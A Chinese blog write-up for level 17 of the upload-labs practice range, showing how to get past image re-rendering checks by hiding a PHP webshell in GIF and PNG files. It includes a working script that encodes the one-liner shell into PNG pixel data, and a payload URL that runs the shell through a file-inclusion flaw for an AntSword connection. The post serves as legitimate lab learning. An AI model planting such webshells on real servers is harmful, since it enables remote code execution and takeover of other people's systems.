首页 > 其他分享 >upload-lab-17 -二次渲染绕过

upload-lab-17 -二次渲染绕过

时间:2023-09-06 19:34:10浏览次数:47  
标签:img 17 渲染 upload lab GIF 上传 图片

这一关对上传图片进行了判断了后缀名、content-type,以及利用imagecreatefromgif判断是否为gif图片,

最后再做了一次二次渲染,但是后端二次渲染需要找到渲染后的图片里面没有发生变化的Hex地方,

添加一句话,通过文件包含漏洞执行一句话,使用蚁剑进行连接

补充知识:

二次渲染:后端重写文件内容

basename(path[,suffix]) ,没指定suffix则返回后缀名,有则不返回指定的后缀名

strrchr(string,char)函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。

imagecreatefromgif():创建一块画布,并从 GIF 文件或 URL 地址载入一副图像

imagecreatefromjpeg():创建一块画布,并从 JPEG 文件或 URL 地址载入一副图像

imagecreatefrompng():创建一块画布,并从 PNG 文件或 URL 地址载入一副图像

这里有个小提示,对于做文件上传之二次渲染建议用GIF图片,相对于简单一点

GIF:

上传正常的GIF图片下载回显的图片,

用010Editor编辑器进行对比两个GIF图片内容,找到相同的地方(指的是上传前和上传后,两张图片的部分Hex仍然保持不变的位置)并插入PHP一句话,

上传带有PHP一句话木马的GIF图片

为了方便大家测试,这里提供一张网上某个大佬提供的GIF图片,当时我也找了很久,大家可以保存一下https://wwe.lanzoui.com/iFS

wwn53jaf

————————————————

PNG:

2.2 使用php脚本写入IDAT数据块:

1、创建一个IDAT_png.php(通过这个脚本生成一个绕过渲染的图片马):

脚本内容:

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>

 

构造了一个一句话木马 长这样:

<?=$_GET[0]($_POST[1]);?>

测试探针要传递的参数:

get传参0=assert
加上
post传参1=phpinfo();

这里还利用了文件包含

最后构造的pauload:

///http://192.168.48.110/upload-labs-master/include.php

?file=upload/12648.png & 0=assert

post参数: 1=phpinfo();

连接蚁剑传递参数:

get传参0=assert
加上
密码 = 1

///http://192.168.48.110/upload-labs-master/include.php?file=upload/12648.png & 0=assert

JPEG:

成功不了 摆了摆了 看别的啦s

标签:img,17,渲染,upload,lab,GIF,上传,图片
From: https://www.cnblogs.com/xlvbys/p/17683205.html

相关文章

  • Vue + GitLab 实现自动化部署
      二、Linux安装nginx在Linux上安装NGINX的步骤如下:打开终端(命令行界面)。使用以下命令安装NGINX:对于Ubuntu/Debian系统:sudoapt-getinstallnginx对于CentOS/RHEL系统:sudoyuminstallnginx等待安装完成。使用以下命令启动NGI......
  • 儿童玩具音乐芯片方案,6通道midi播放语音芯片,NV170D-8S
    随着科技的不断进步,儿童玩具行业也在不断演化。如今,儿童们期待的不仅仅是有趣的外观,还有令人惊叹的音乐和声音效果。为了满足这一需求,广州九芯电子研发了NV170D-8S,一款创新的6通道MIDI播放语音芯片,它将为儿童玩具带来前所未有的声音体验。 超越传统音乐芯片的可能性儿童玩具的音乐......
  • gitlab-- pages 功能实战
    pages介绍在我们日常使用gitlab的过程中,会产生一些产物,自己做的一些小网站,小页面之类,一般都是在本地调试访问,一旦我们想让其他朋友也可以随时访问,就需要单独在公有云上买一个服务器去部署,一是需要付费,二是我们调试页面访问量不多,单独搞个服务器部署有点浪费。使用GitLabPag......
  • 论文精读:带有源标签自适应的半监督域适应(Semi-Supervised Domain Adaptation with Sou
    Semi-SupervisedDomainAdaptationwithSourceLabelAdaptation具有源标签适应的半监督域适应原文链接Abstract文章指出当前的半监督域适应(Semi-SupervisedDomainAdaptation,SSDA)方法通常是通过特征空间映射和伪标签分配将目标数据与标记的源数据对齐,然而,这种面向源数......
  • CSAPP-Bomb Lab
    这个实验的逻辑是这样的需要使用gdbdebug进入到phase_x的各个函数,但是单步调试step是进不去的(也不难理解,如果gdb可以直接进入那这个实验还有什么难点)但是反汇编得到的结果是全部的内容,通过阅读反汇编代码,找到一些关键节点,通过gdb对二进制进行dubug添加breakpoint从而查看一些......
  • weblogic-10.3.6-'wls-wsat'-XMLDecoder反序列化漏洞-(CVE-2017-10271)
    目录1.1、漏洞描述1.2、漏洞等级1.3、影响版本1.4、漏洞复现1、基础环境2、漏洞扫描nacsweblogicScanner3、漏洞验证说明内容漏洞编号CVE-2017-10271漏洞名称Weblogic<10.3.6'wls-wsat'XMLDecoder反序列化漏洞(CVE-2017-10271)漏洞评级高危影响范围10.3......
  • Struts2-045 Remote Code Execution Vulnerablity(CVE-2017-5638)
    目录1.1、漏洞描述1.2、漏洞等级1.3、影响版本1.4、漏洞复现1、基础环境2、漏洞扫描nacs3、漏洞验证1.5、修复建议说明内容漏洞编号CVE-2017-5638漏洞名称S2-045远程代码执行漏洞漏洞评级高危影响范围Struts2.3.5-Struts2.3.31Struts2.5-Struts2.......
  • LED射灯驱动IC降压恒流芯片高效率不易发烫AP5179
    AP5179是一款连续电感电流导通模式的降压恒流源,用于驱动一颗或多颗串联LED输入电压范围从5V到60V,输出电流最大可达2.0A。根据不同的输入电压和外部器件,可以驱动高达数十瓦的LED。内置功率开关,采用高端电流采样设置LED平均电流,通过DIM引脚可以接受模拟调光和很宽范围的PW......
  • upload通关
    靶场下载地址:https://github.com/c0ny1/upload-labs靶场介绍upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共21关,每一关都包含着不同上传方式。pass-01(前端验证)绕过原理Web应用系......
  • 20230619 Java核心技术(Java 17)(原书第12版)【归档】
    介绍版本Java版本:17说明关于图形相关的章节全部跳过,部分不常见不常用的也跳过书中内容有些确实全面,但是要注意也有些重要的部分没有涉及,例如NIO读书只是概览,掌握知识体系更进一步还要通过看代码深入掌握目录卷1基础知识1.Java程序设计概述2.Java编程环境3.......